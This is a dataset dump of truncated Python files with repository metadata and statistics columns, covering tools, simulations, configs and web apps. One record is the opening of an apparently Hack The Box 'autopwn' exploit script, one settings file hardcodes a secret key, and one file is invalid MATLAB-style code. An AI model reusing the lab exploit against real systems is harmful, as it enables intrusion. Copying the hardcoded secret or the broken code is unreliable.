true
0
0.05
0
0.05
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
1
770214b97687e419b49ca7614e24a42a26a9954c
2,092
py
Python
tools/clean_autogen_protos.py
embeddery/stackrox
d653406651df4331a714839ec2c0a23a93425c64
[ "Apache-2.0" ]
22
2022-03-31T14:32:18.000Z
2022-03-31T22:11:30.000Z
tools/clean_autogen_protos.py
embeddery/stackrox
d653406651df4331a714839ec2c0a23a93425c64
[ "Apache-2.0" ]
5
2022-03-31T14:35:28.000Z
2022-03-31T22:40:13.000Z
tools/clean_autogen_protos.py
embeddery/stackrox
d653406651df4331a714839ec2c0a23a93425c64
[ "Apache-2.0" ]
4
2022-03-31T16:33:58.000Z
2022-03-31T22:19:26.000Z
#!/usr/bin/env python3 import argparse import pathlib GENERATED_EXTENSIONS = ["pb.go", "pb.gw.go", "swagger.json"] def find_files(path, fileglob): files_full = list(path.glob(fileglob)) return files_full def strip_path_extension(filelist): # We cannot use Path.stem directly as it doesn't handle doubl...
31.223881
112
0.707935
293
2,092
4.8157
0.320819
0.028349
0.038271
0.014883
0.072289
0.035436
0
0
0
0
0
0.001167
0.180688
2,092
66
113
31.69697
0.822054
0.07218
0
0
1
0
0.074303
0
0
0
0
0
0
1
0.175
false
0
0.05
0.025
0.35
0.025
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
77076be0aee637dc1db01b51cb1e1bf652954a05
7,016
py
Python
src/single_pendulum.py
dpopchev/Computation_python
790bfc451b003ecbc626867035dc03a7b55d1fb9
[ "MIT" ]
null
null
null
src/single_pendulum.py
dpopchev/Computation_python
790bfc451b003ecbc626867035dc03a7b55d1fb9
[ "MIT" ]
null
null
null
src/single_pendulum.py
dpopchev/Computation_python
790bfc451b003ecbc626867035dc03a7b55d1fb9
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # do not hesitate to debug import pdb # python computation modules and visualization import numpy as np import sympy as sy import scipy as sp import matplotlib.pyplot as plt from sympy import Q as syQ sy.init_printing(use_latex=True,forecolor="White") def Lyapunov_stability_test_linear(ev): ...
34.392157
83
0.651511
1,036
7,016
4.333012
0.303089
0.016039
0.010916
0.012029
0.256182
0.222098
0.175986
0.165738
0.140566
0.134774
0
0.010699
0.253991
7,016
203
84
34.561576
0.846962
0.489453
0
0.11236
0
0
0.06043
0
0
0
0
0.014778
0
1
0.05618
false
0
0.067416
0
0.168539
0.011236
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
7714068c84e56c46ce9cbe59a4ed57f2565d3970
1,750
py
Python
E2E_TOD/config.py
kingb12/pptod
4cc920494b663c5352a507ed1e32f1e2509a8c93
[ "Apache-2.0" ]
54
2021-10-02T13:31:09.000Z
2022-03-25T03:44:54.000Z
E2E_TOD/config.py
programmeddeath1/pptod
52d26ddc7b917c86af721e810a202db7c7d3b398
[ "Apache-2.0" ]
8
2021-11-10T06:05:20.000Z
2022-03-25T03:27:29.000Z
E2E_TOD/config.py
programmeddeath1/pptod
52d26ddc7b917c86af721e810a202db7c7d3b398
[ "Apache-2.0" ]
14
2021-10-02T13:31:01.000Z
2022-03-27T15:49:33.000Z
import logging, time, os class Config: def __init__(self, data_prefix): # data_prefix = r'../data/' self.data_prefix = data_prefix self._multiwoz_damd_init() def _multiwoz_damd_init(self): self.vocab_path_train = self.data_prefix + '/multi-woz-processed/vocab' self.data...
42.682927
91
0.645714
222
1,750
4.783784
0.283784
0.12806
0.19774
0.120527
0.292844
0.247646
0.169492
0.103578
0.103578
0.103578
0
0.005204
0.231429
1,750
40
92
43.75
0.784387
0.076571
0
0.0625
0
0
0.277191
0.229956
0
0
0
0
0
1
0.0625
false
0
0.03125
0
0.125
0
0
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
771d3fa0c3bd43d72d1bdf5d1c6f1888cb0021be
15,025
py
Python
CopyrightHeaderChecker.py
medazzo/CopyRitghHeaderChecker-
320642ebd9216338820b6876519e9fae69252dd7
[ "MIT" ]
2
2019-01-07T14:42:44.000Z
2019-01-07T14:42:46.000Z
CopyrightHeaderChecker.py
medazzo/CopyRightHeaderChecker
320642ebd9216338820b6876519e9fae69252dd7
[ "MIT" ]
null
null
null
CopyrightHeaderChecker.py
medazzo/CopyRightHeaderChecker
320642ebd9216338820b6876519e9fae69252dd7
[ "MIT" ]
null
null
null
#!/usr/bin/python # @author Mohamed Azzouni , Paris, France # import os import time import ntpath import sys import json import argparse from os.path import join, getsize from shutil import copyfile behaviour = """{ "reporting": true , "updatefiles": true , "excludeDirs" :[".git",".repo"], "shebang": { ...
43.175287
122
0.493178
1,379
15,025
5.346628
0.22335
0.019395
0.019531
0.029296
0.350332
0.29825
0.267191
0.24861
0.222976
0.200461
0
0.001064
0.311681
15,025
347
123
43.299712
0.711855
0.136905
0
0.261993
0
0.01845
0.445954
0.036719
0
0
0
0
0
0
null
null
0
0.02952
null
null
0.125461
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
772a4eead684d14c1321c64fcce204b67581646f
4,217
py
Python
src/manual/melt_oxcgrt2.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
null
null
null
src/manual/melt_oxcgrt2.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
123
2020-10-12T11:06:27.000Z
2021-04-28T15:32:29.000Z
src/manual/melt_oxcgrt2.py
lshtm-gis/WHO_PHSM_Cleaning
5892673922fc555fb86d6e0be548b48c7dc66814
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Tue Nov 3 15:24:46 2020 @author: hamishgibbs """ import pandas as pd import re import numpy as np #%% ox = pd.read_csv('https://raw.githubusercontent.com/OxCGRT/covid-policy-tracker/master/data/OxCGRT_latest_withnotes.csv') #%% ox = ox[0:100] #%% ox.fil...
27.562092
121
0.609912
558
4,217
4.448029
0.27957
0.068493
0.024174
0.025383
0.327558
0.268735
0.246172
0.232877
0.198227
0.198227
0
0.01092
0.283377
4,217
152
122
27.743421
0.81039
0.179749
0
0.367647
0
0.014706
0.145181
0.065361
0
0
0
0
0
1
0.044118
false
0.073529
0.044118
0
0.088235
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
772cd907b931f0cbf42463265dfc425aa87bcb15
226
py
Python
ds2/sorting/bubblesort.py
aslisabanci/datastructures
f7952801245bc8d386a03d92a38121f558bdacca
[ "MIT" ]
159
2017-10-02T22:03:14.000Z
2022-03-10T23:02:22.000Z
ds2/sorting/bubblesort.py
aslisabanci/datastructures
f7952801245bc8d386a03d92a38121f558bdacca
[ "MIT" ]
9
2019-02-04T14:55:09.000Z
2021-06-05T13:30:28.000Z
ds2/sorting/bubblesort.py
aslisabanci/datastructures
f7952801245bc8d386a03d92a38121f558bdacca
[ "MIT" ]
49
2017-09-29T17:51:16.000Z
2022-03-10T23:12:17.000Z
def bubblesort(L): keepgoing = True while keepgoing: keepgoing = False for i in range(len(L)-1): if L[i]>L[i+1]: L[i], L[i+1] = L[i+1], L[i] keepgoing = True
25.111111
43
0.446903
34
226
2.970588
0.411765
0.118812
0.089109
0.118812
0.148515
0.118812
0.118812
0
0
0
0
0.029851
0.40708
226
8
44
28.25
0.723881
0
0
0.25
0
0
0
0
0
0
0
0
0
1
0.125
false
0
0
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
772d6d4f45275295dcb92a649c3abaa349cebcf6
431
py
Python
src/features/threshold.py
HninPwint/nba-career-prediction
ffce32507cad2c4dd020c62cee7f33cf97c886f7
[ "MIT" ]
1
2021-02-01T10:38:16.000Z
2021-02-01T10:38:16.000Z
src/features/threshold.py
HninPwint/nba-career-prediction
ffce32507cad2c4dd020c62cee7f33cf97c886f7
[ "MIT" ]
3
2021-02-02T11:06:16.000Z
2021-02-06T11:44:19.000Z
src/features/threshold.py
HninPwint/nba-career-prediction
ffce32507cad2c4dd020c62cee7f33cf97c886f7
[ "MIT" ]
4
2021-01-31T10:57:23.000Z
2021-02-02T06:16:35.000Z
class threshold: def threshold(num, threshold): if ( threshold < 0 ) || ( threshold >= 1 ) error('threshold input must be in the range [0,1]'); end fractional = num - floor( num ); idx1 = fractional > threshold; idx2 = fractional <= threshold; difference = 1 - frac...
26.9375
71
0.556845
44
431
5.454545
0.5
0.116667
0
0
0
0
0
0
0
0
0
0.030928
0.324826
431
15
72
28.733333
0.793814
0
0
0.166667
0
0
0.097674
0
0
0
0
0
0
0
null
null
0
0
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
77331bed5a7248d07a4fb3851abb1699ae7ce662
929
py
Python
KristaBackup/common/schemes/__init__.py
javister/krista-backup
f8852c20afdf483e842ff22497bdd80eedc30c78
[ "Apache-2.0" ]
7
2020-07-28T06:53:02.000Z
2022-03-18T05:23:03.000Z
KristaBackup/common/schemes/__init__.py
javister/krista-backup
f8852c20afdf483e842ff22497bdd80eedc30c78
[ "Apache-2.0" ]
1
2020-11-25T16:13:26.000Z
2020-11-25T16:13:26.000Z
KristaBackup/common/schemes/__init__.py
javister/krista-backup
f8852c20afdf483e842ff22497bdd80eedc30c78
[ "Apache-2.0" ]
1
2020-07-28T13:47:09.000Z
2020-07-28T13:47:09.000Z
from .scheme_factory import SchemeFactory from .schemes import schemes _default_scheme_id = 'default' def get_scheme(scheme_id=None): """Возвращает схему по scheme_id. Args: scheme_id: Строка, уникальное имя схемы. Returns: Scheme или None, если схемы с scheme_id не существует. ""...
19.765957
62
0.70183
120
929
5.125
0.35
0.195122
0.146341
0.071545
0.094309
0.094309
0
0
0
0
0
0
0.233585
929
46
63
20.195652
0.863764
0.301399
0
0.111111
0
0
0.011785
0
0
0
0
0
0
1
0.222222
false
0
0.111111
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
1
7738b7fae9ef9456645f45d2e182dbc304825ba1
1,573
py
Python
src/hydro/conf/settings_base.py
aolarchive/Hydro
8580aebc30694156c436e5ba7470d3fcbb46896b
[ "MIT" ]
42
2015-03-04T09:05:00.000Z
2018-12-01T15:13:48.000Z
src/hydro/conf/settings_base.py
aolarchive/Hydro
8580aebc30694156c436e5ba7470d3fcbb46896b
[ "MIT" ]
5
2015-05-11T08:18:12.000Z
2016-03-22T19:11:01.000Z
src/hydro/conf/settings_base.py
Convertro/Hydro
8580aebc30694156c436e5ba7470d3fcbb46896b
[ "MIT" ]
4
2015-03-05T09:07:27.000Z
2018-12-01T15:13:49.000Z
# Hydro settings TIME_ZONE = 'UTC' LANGUAGE_CODE = 'en-us' APPLICATION_NAME = 'HYDRO' SECRET_KEY = '8lu*6g0lg)9w!ba+a$edk)xx)x%rxgb$i1&amp;022shmi1jcgihb*' # SESSION_TIMEOUT is used in validate_session_active decorator to see if the # session is active. SECOND = 1 MINUTE = SECOND * 60 SECONDS_IN_DAY = SECOND*86400 ...
26.661017
113
0.591863
185
1,573
4.837838
0.427027
0.03352
0.046927
0.073743
0.555307
0.555307
0.52067
0.440223
0.440223
0.440223
0
0.037229
0.265734
1,573
58
114
27.12069
0.737662
0.068659
0
0.4375
0
0.020833
0.440794
0.131417
0
0
0
0
0
1
0
false
0.0625
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
1
774b06809a445d82f24ad6693ec8a85d76b2e232
2,554
py
Python
spacy/lang/pt/stop_words.py
cedar101/spaCy
66e22098a8bb77cbe527b1a4a3c69ec1cfb56f95
[ "MIT" ]
12
2019-03-20T20:43:47.000Z
2020-04-13T11:10:52.000Z
spacy/lang/pt/stop_words.py
cedar101/spaCy
66e22098a8bb77cbe527b1a4a3c69ec1cfb56f95
[ "MIT" ]
13
2018-06-05T11:54:40.000Z
2019-07-02T11:33:14.000Z
spacy/lang/pt/stop_words.py
cedar101/spaCy
66e22098a8bb77cbe527b1a4a3c69ec1cfb56f95
[ "MIT" ]
2
2020-02-15T18:33:35.000Z
2022-02-13T14:11:41.000Z
# coding: utf8 from __future__ import unicode_literals STOP_WORDS = set( """ à às área acerca ademais adeus agora ainda algo algumas alguns ali além ambas ambos antes ao aos apenas apoia apoio apontar após aquela aquelas aquele aqueles aqui aquilo as assim através atrás até aí baixo bastante bem boa bom breve c...
35.971831
89
0.817541
424
2,554
4.910377
1
0
0
0
0
0
0
0
0
0
0
0.000476
0.176977
2,554
70
90
36.485714
0.99001
0.004699
0
0
0
0
0
0
0
0
0
0.014286
0
1
0
false
0
0.25
0
0.25
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
774b9166abe0ad0a7b9b9dd1b88e0f21b94c408a
13,906
py
Python
miaschiev_ui.py
DarkStarSword/miasmata-fixes
d320f5e68cd5ebabd14efd7af021afa7e63d161e
[ "MIT" ]
10
2015-06-13T17:27:18.000Z
2021-02-14T13:03:11.000Z
miaschiev_ui.py
DarkStarSword/miasmata-fixes
d320f5e68cd5ebabd14efd7af021afa7e63d161e
[ "MIT" ]
2
2020-07-11T18:34:57.000Z
2021-03-07T02:27:46.000Z
miaschiev_ui.py
DarkStarSword/miasmata-fixes
d320f5e68cd5ebabd14efd7af021afa7e63d161e
[ "MIT" ]
1
2016-03-23T22:26:23.000Z
2016-03-23T22:26:23.000Z
# -*- coding: utf-8 -*- # Form implementation generated from reading ui file 'miaschiev.ui' # # Created: Wed Aug 06 17:13:17 2014 # by: pyside-uic 0.2.15 running on PySide 1.2.1 # # WARNING! All changes made in this file will be lost! from PySide import QtCore, QtGui class Ui_Miaschiev(object): ...
64.082949
151
0.718898
1,473
13,906
6.706721
0.120842
0.065391
0.051017
0.067315
0.516955
0.440024
0.223201
0.177245
0.160846
0.160846
0
0.023159
0.170933
13,906
216
152
64.37963
0.833724
0.01618
0
0.059113
1
0
0.061014
0.003344
0
0
0
0
0
1
0.009852
false
0
0.004926
0
0.019704
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
7756950ec6fb5c1205ec5e03552facad7a4cc3ac
387
py
Python
core/recc/compile/future.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
3
2021-06-20T02:24:10.000Z
2022-01-26T23:55:33.000Z
core/recc/compile/future.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
null
null
null
core/recc/compile/future.py
bogonets/answer
57f892a9841980bcbc35fa1e27521b34cd94bc25
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from importlib import import_module def get_annotations_compiler_flag() -> int: future = import_module("__future__") assert future is not None annotations = getattr(future, "annotations") assert annotations is not None compiler_flag = getattr(annotations, "compiler_flag") ...
27.642857
57
0.731266
46
387
5.869565
0.456522
0.222222
0.17037
0
0
0
0
0
0
0
0
0.003155
0.180879
387
13
58
29.769231
0.84858
0.054264
0
0
0
0
0.093407
0
0
0
0
0
0.333333
1
0.111111
false
0
0.222222
0
0.444444
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
775775cc7a45c42108314eb9aa9a67d61fab3d99
181
py
Python
current_console.py
jonasitzmann/ann-numpy
bb6d22667158687ca2d3de92abbeee0e129fa18e
[ "MIT" ]
null
null
null
current_console.py
jonasitzmann/ann-numpy
bb6d22667158687ca2d3de92abbeee0e129fa18e
[ "MIT" ]
null
null
null
current_console.py
jonasitzmann/ann-numpy
bb6d22667158687ca2d3de92abbeee0e129fa18e
[ "MIT" ]
null
null
null
from ann import * x, y = utils.get_mnist_samples(100) m = Model(x[0].shape) m.add(Conv2D()) m.add(MaxPooling()) m.add(Flatten()) m.add(Dense(15)) m.add(Dense(10, a_func='sigmoid'))
20.111111
35
0.679558
35
181
3.428571
0.685714
0.166667
0.15
0
0
0
0
0
0
0
0
0.054878
0.093923
181
8
36
22.625
0.676829
0
0
0
0
0
0.038674
0
0
0
0
0
0
1
0
false
0
0.125
0
0.125
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
775cbe05f1e23d8b5ab980d33a068bbf4e214d9f
2,559
py
Python
server/imagemagick-server/server.py
brygga-dev/workdir2
0b6e8f54a3d44ef8dedefd1bdc95f193467d239e
[ "MIT" ]
null
null
null
server/imagemagick-server/server.py
brygga-dev/workdir2
0b6e8f54a3d44ef8dedefd1bdc95f193467d239e
[ "MIT" ]
null
null
null
server/imagemagick-server/server.py
brygga-dev/workdir2
0b6e8f54a3d44ef8dedefd1bdc95f193467d239e
[ "MIT" ]
null
null
null
from http.server import BaseHTTPRequestHandler,HTTPServer from socketserver import ThreadingMixIn import threading import subprocess import urllib.parse # todo: factor out common server stuff # todo: these should probably have limited # access to files, so something like only # uploads dir may be good. # then there i...
30.831325
66
0.5932
297
2,559
4.983165
0.505051
0.037838
0.035135
0.036486
0.058108
0.039189
0.039189
0
0
0
0
0.008864
0.294646
2,559
82
67
31.207317
0.81108
0.241891
0
0.303571
0
0
0.063509
0
0
0
0
0.012195
0
1
0.035714
false
0.035714
0.089286
0
0.178571
0.107143
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
1
775ee35015e7fb1a1d56468e759eea466f2753f3
388
py
Python
uberlearner/main/api/authentication.py
Uberlearner/uberlearner
421391c3c838bf8f88eed47646226fe8dc22d061
[ "MIT" ]
1
2020-10-17T04:41:47.000Z
2020-10-17T04:41:47.000Z
uberlearner/main/api/authentication.py
Uberlearner/uberlearner
421391c3c838bf8f88eed47646226fe8dc22d061
[ "MIT" ]
null
null
null
uberlearner/main/api/authentication.py
Uberlearner/uberlearner
421391c3c838bf8f88eed47646226fe8dc22d061
[ "MIT" ]
null
null
null
from tastypie.authentication import SessionAuthentication class UberAuthentication(SessionAuthentication): """ Handles authentication for the course resources. """ def is_authenticated(self, request, **kwargs): if request.method == 'GET': return True else: return...
35.272727
86
0.693299
35
388
7.628571
0.714286
0.11236
0
0
0
0
0
0
0
0
0
0
0.219072
388
11
86
35.272727
0.881188
0.123711
0
0
0
0
0.009231
0
0
0
0
0
0
1
0.142857
false
0
0.142857
0
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
91f2badbe46ccc2afa070e8ea0d95aa258e9f159
3,199
py
Python
accounts/models.py
MrEscape54/CRM
36be1fcc74bbfddf343dc0b1b7f8af83be3fe8d3
[ "MIT" ]
null
null
null
accounts/models.py
MrEscape54/CRM
36be1fcc74bbfddf343dc0b1b7f8af83be3fe8d3
[ "MIT" ]
null
null
null
accounts/models.py
MrEscape54/CRM
36be1fcc74bbfddf343dc0b1b7f8af83be3fe8d3
[ "MIT" ]
null
null
null
from django.db import models from django.urls import reverse from django.utils.translation import pgettext_lazy from django.utils.translation import ugettext_lazy as _ from django.core.validators import RegexValidator from core import utils from core.models import User from contacts.models import Contact class Acti...
42.092105
140
0.736168
391
3,199
5.808184
0.250639
0.046235
0.049317
0.036988
0.481286
0.453104
0.412153
0.374284
0.336416
0.336416
0
0.005837
0.14317
3,199
75
141
42.653333
0.822692
0.02282
0
0.4
0
0
0.110897
0.013782
0
0
0
0
0
1
0.090909
false
0
0.145455
0.090909
0.909091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
91f411263bdba1a973d2748f05c7f918cdbad645
1,176
py
Python
ros/src/twist_controller/twist_controller.py
SunshengGu/CarND-capstone-team-roboturtles
6ceb896f5af095223910a8366b0747a4c0bba910
[ "MIT" ]
null
null
null
ros/src/twist_controller/twist_controller.py
SunshengGu/CarND-capstone-team-roboturtles
6ceb896f5af095223910a8366b0747a4c0bba910
[ "MIT" ]
null
null
null
ros/src/twist_controller/twist_controller.py
SunshengGu/CarND-capstone-team-roboturtles
6ceb896f5af095223910a8366b0747a4c0bba910
[ "MIT" ]
2
2019-02-05T02:55:57.000Z
2019-02-10T20:12:41.000Z
from yaw_controller import YawController from pid import PID GAS_DENSITY = 2.858 ONE_MPH = 0.44704 class Controller(object): def __init__(self, wheel_base, steer_ratio,max_lat_accel,max_steer_angle, accel_limit,decel_limit): self.yaw = YawController(wheel_base, steer_ratio, 0., max_lat_accel, m...
25.021277
104
0.681973
191
1,176
3.973822
0.340314
0.046113
0.031621
0.050066
0.173913
0.173913
0
0
0
0
0
0.040043
0.214286
1,176
46
105
25.565217
0.781385
0.019558
0
0.125
0
0
0
0
0
0
0
0
0
0
null
null
0
0.0625
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
91fc55bd294641a3405ae46e672d73216e1f79e0
450
py
Python
djasana/migrations/0007_alter_task_completed.py
dosoulwork/django-asana
05c63cc6a375783f84bb82821800ca419db9fa85
[ "MIT" ]
10
2017-04-25T20:20:14.000Z
2021-02-26T18:57:59.000Z
djasana/migrations/0007_alter_task_completed.py
dosoulwork/django-asana
05c63cc6a375783f84bb82821800ca419db9fa85
[ "MIT" ]
19
2018-08-09T20:45:51.000Z
2021-11-29T17:47:21.000Z
djasana/migrations/0007_alter_task_completed.py
dosoulwork/django-asana
05c63cc6a375783f84bb82821800ca419db9fa85
[ "MIT" ]
8
2018-06-28T02:54:06.000Z
2020-02-23T13:34:46.000Z
# -*- coding: utf-8 -*- # Generated by Django 1.11.2 on 2017-06-29 17:04 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('djasana', '0006_adds_defaults'), ] operations = [ migrations.AlterField( ...
21.428571
50
0.615556
49
450
5.469388
0.836735
0
0
0
0
0
0
0
0
0
0
0.063636
0.266667
450
20
51
22.5
0.748485
0.151111
0
0
1
0
0.108179
0
0
0
0
0
0
1
0
false
0
0.153846
0
0.384615
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
6200daab351d8a43f810d28196ac2f8c75e8b726
803
py
Python
Aves2/Aves2/celery.py
jd-aig/aves2
10aeb832feb94adf563f9795013c77bfd115b44e
[ "Apache-2.0" ]
3
2020-09-24T01:36:02.000Z
2022-03-28T11:53:54.000Z
Aves2/Aves2/celery.py
jd-aig/aves2
10aeb832feb94adf563f9795013c77bfd115b44e
[ "Apache-2.0" ]
null
null
null
Aves2/Aves2/celery.py
jd-aig/aves2
10aeb832feb94adf563f9795013c77bfd115b44e
[ "Apache-2.0" ]
1
2020-12-08T05:14:23.000Z
2020-12-08T05:14:23.000Z
# -*- coding:utf-8 -*- from __future__ import absolute_import, unicode_literals import os from celery import Celery from celery.schedules import crontab # from celery_once import QueueOnce # set the default Django settings module for the 'celery' program. os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'Aves2.settin...
27.689655
66
0.775841
111
803
5.486486
0.576577
0.049261
0.065681
0
0
0
0
0
0
0
0
0.004304
0.132005
803
28
67
28.678571
0.86944
0.499377
0
0
0
0
0.204082
0.056122
0
0
0
0
0
1
0
false
0
0.363636
0
0.363636
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
1
6202a8816bac81aec1be652ea835f294593e8695
12,009
py
Python
pyvultr/v2/load_balance.py
luxiaba/pyvultr
29b45d036f728c15d91c4b590bd893b9c7f609ae
[ "MIT" ]
4
2021-12-01T18:06:18.000Z
2022-01-22T12:39:52.000Z
pyvultr/v2/load_balance.py
luxiaba/pyvultr
29b45d036f728c15d91c4b590bd893b9c7f609ae
[ "MIT" ]
1
2021-12-19T14:05:42.000Z
2021-12-19T14:05:42.000Z
pyvultr/v2/load_balance.py
luxiaba/pyvultr
29b45d036f728c15d91c4b590bd893b9c7f609ae
[ "MIT" ]
1
2021-12-20T04:54:08.000Z
2021-12-20T04:54:08.000Z
from dataclasses import dataclass from functools import partial from typing import Dict, List, Optional from urllib.parse import urljoin from pyvultr.utils import BaseDataclass, VultrPagination, get_only_value, merge_args from .base import BaseVultrV2, command from .enums import LoadBalanceAlgorithm, LoadBalanceProto...
39.117264
118
0.670081
1,417
12,009
5.545519
0.190543
0.07941
0.048104
0.020616
0.444642
0.376559
0.328582
0.313948
0.266353
0.250445
0
0.004815
0.256391
12,009
306
119
39.245098
0.87514
0.486802
0
0.340426
0
0
0.075758
0.050813
0
0
0
0
0
1
0.092199
false
0
0.049645
0
0.510638
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
1
62034dcbe266726fc371d74a18776dc2103cd7d1
12,848
py
Python
hacking/HTB/Reddish/autopwn_reddish.py
Qazeer/code-snippets
6b15afb66312cbcf7c29f9ea32933ad0cbf65154
[ "Unlicense" ]
219
2017-12-12T20:05:37.000Z
2022-03-27T06:08:08.000Z
hacking/HTB/Reddish/autopwn_reddish.py
FDlucifer/code-snippets
2635cf04bc90f1cd0e6b850a9b70d689f1ab7aba
[ "Unlicense" ]
3
2018-11-10T13:33:42.000Z
2020-10-21T13:53:00.000Z
hacking/HTB/Reddish/autopwn_reddish.py
FDlucifer/code-snippets
2635cf04bc90f1cd0e6b850a9b70d689f1ab7aba
[ "Unlicense" ]
108
2017-12-17T18:17:14.000Z
2022-03-15T13:24:44.000Z
#!/usr/bin/env python2 # Author: Alamot import json import time import uuid import fcntl import base64 import urllib import random import requests from pwn import * def get_ip_address(ifname): s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) return socket.inet_ntoa(fcntl.ioctl( s.fileno(), ...
53.090909
1,448
0.611768
1,847
12,848
4.203032
0.22144
0.006441
0.006956
0.009275
0.512044
0.464511
0.412598
0.36339
0.303491
0.261754
0
0.076675
0.154421
12,848
241
1,449
53.311203
0.637887
0.011675
0
0.347826
0
0.092391
0.42711
0.148643
0
0
0.00052
0
0
1
0.01087
false
0
0.054348
0
0.070652
0.038043
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
620690da1f145b5b2420aa8da8460ba8aab12a29
9,636
py
Python
google-cloud-sdk/platform/gsutil/gslib/commands/notification.py
KaranToor/MA450
c98b58aeb0994e011df960163541e9379ae7ea06
[ "Apache-2.0" ]
1
2017-11-29T18:52:27.000Z
2017-11-29T18:52:27.000Z
google-cloud-sdk/.install/.backup/platform/gsutil/gslib/commands/notification.py
KaranToor/MA450
c98b58aeb0994e011df960163541e9379ae7ea06
[ "Apache-2.0" ]
null
null
null
google-cloud-sdk/.install/.backup/platform/gsutil/gslib/commands/notification.py
KaranToor/MA450
c98b58aeb0994e011df960163541e9379ae7ea06
[ "Apache-2.0" ]
1
2020-07-25T12:09:01.000Z
2020-07-25T12:09:01.000Z
# -*- coding: utf-8 -*- # Copyright 2013 Google Inc. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless require...
36.638783
113
0.732669
1,219
9,636
5.654635
0.274815
0.013057
0.014217
0.007979
0.109386
0.072247
0.066154
0.050486
0.029885
0.029885
0
0.003843
0.189809
9,636
262
114
36.778626
0.879083
0.083333
0
0.085106
0
0.005319
0.485335
0.010591
0
0
0
0
0
0
null
null
0
0.06383
null
null
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
1
62098ed13ce2805c2274aa650c177f0c748ff79f
401
py
Python
projects/migrations/0017_project_status_isvalidated.py
joatuapp/joatu-django
5626d03ba89c55650ff5bff2e706ca0883ae3b9c
[ "MIT" ]
10
2018-05-13T18:01:57.000Z
2018-12-23T17:11:14.000Z
projects/migrations/0017_project_status_isvalidated.py
moileretour/joatu
9d18cb58b4280235688e269be6fd2d34b77ccead
[ "MIT" ]
88
